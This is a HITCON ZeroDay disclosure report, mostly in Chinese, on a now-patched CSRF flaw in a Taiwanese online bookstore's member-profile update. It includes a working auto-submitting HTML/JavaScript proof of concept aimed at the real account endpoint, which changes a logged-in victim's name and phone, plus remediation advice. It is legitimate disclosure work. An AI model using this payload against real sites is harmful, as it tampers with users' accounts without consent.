Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00452
- Vendor: 博客來數位科技股份有限公司
- Title: 博客來數位科技股份有限公司 CSRF 漏洞
- Introduction: Absence of Anti-CSRF Tokens
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2022/07/14 13:43:04 : 新提交 (由 CCL112 更新此狀態)
- 2022/07/28 23:09:22 : 新提交 (由 CCL112 更新此狀態)
- 2022/07/28 23:14:28 : 新提交 (由 CCL112 更新此狀態)
- 2022/07/28 23:15:57 : 新提交 (由 CCL112 更新此狀態)
- 2022/08/01 08:57:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 16:55:50 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 16:55:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 16:55:50 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/06 16:46:50 : 已修補 (由 組織帳號 更新此狀態)
- 2022/09/13 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00452
- 通報者:chunchiangliu (CCL112)
- 風險:中
- 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)
參考資料
漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
相關網址
敘述
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site when the user is authenticated.
"更改會員資料" 此一操作並未實作Anti-CSRF Tokens防禦機制
容易將其暴露於CSRF攻擊風險
使用者利用Firefox 瀏覽器登入後
點擊攻擊者所架設的網站鏈接即會"更改會員資料"
<html>
<body>
<script type="text/javascript">
function csrf()
{
var fields;
fields += "<input type='hidden' name='address'>";
fields += "<input type='hidden' name='area' value='T'>";
fields += "<input type='hidden' name='city'>";
fields += "<input type='hidden' name='country'>";
fields += "<input type='hidden' name='email' value='ta**@gmail.com'>";
fields += "<input type='hidden' name='f_address'>";
fields += "<input type='hidden' name='f_city'>";
fields += "<input type='hidden' name='f_province'>";
fields += "<input type='hidden' name='f_zip'>";
fields += "<input type='hidden' name='flag' value='save'>";
fields += "<input type='hidden' name='gender' value='M'>";
fields += "<input type='hidden' name='is_address_edit' value='N'>";
fields += "<input type='hidden' name='is_email_edit' value='N'>";
fields += "<input type='hidden' name='is_f_address_edit' value='N'>";
fields += "<input type='hidden' name='is_mobile_edit' value='N'>";
fields += "<input type='hidden' name='is_name_edit' value='Y'>";
fields += "<input type='hidden' name='is_otp_mobile_edit' value='N'>";
fields += "<input type='hidden' name='is_tel_edit' value='Y'>";
fields += "<input type='hidden' name='mobile'>";
fields += "<input type='hidden' name='name' value='中本聰'>";
fields += "<input type='hidden' name='org_area' value='T'>";
fields += "<input type='hidden' name='org_email' value='ta**@gmail.com'>";
fields += "<input type='hidden' name='region'>";
fields += "<input type='hidden' name='tel' value='02-23930023'>";
fields += "<input type='hidden' name='zip'>";
var p = document.createElement("form");
p.action = "https://myaccount.books.com.tw/myaccount/myaccount/modifyMemberinfo/";
p.innerHTML = fields;
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function sleep()
{
const start = Date.now();
while (Date.now() - start < 1000);
}
window.onload = function() { csrf(); sleep(); open(location, '_self').close(); }
</script>
</body>
</html>
該段程式碼能達到以CSRF手段更改會員資料中會員名稱的功能
Form表單中的各項參數能再進行細部調整達到不同效果
修補建議
Token-Based Defense against CSRF attack such as the Synchronizer Token Pattern Technique, the Cookie-to-Header Token Technique or the Double Submit Cookie Technique is suggested to be adopted.